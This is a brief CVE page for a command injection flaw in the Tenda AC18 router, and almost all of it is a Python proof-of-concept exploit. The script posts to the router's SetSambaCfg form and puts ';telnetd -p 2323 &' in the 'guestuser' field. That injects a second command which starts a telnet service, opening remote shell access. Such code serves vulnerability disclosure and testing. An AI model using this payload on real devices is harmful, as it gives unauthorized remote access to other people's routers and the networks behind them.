CVE-2026-31255 Tenda AC18命令注入漏洞

import requests # Target URL (replace with actual IP) target_url = "http://192.168.0.1/goform/SetSambaCfg" # Malicious payload to execute a command (e.g., reboot or telnet) # Using a semicolon to chain commands payload = ";telnetd -p 2323 &" data = { "guestuser": payload, # Other required parameters may be needed depending on the form structure } try: response = requests.post(target_url, data=data, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if telnet is running on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")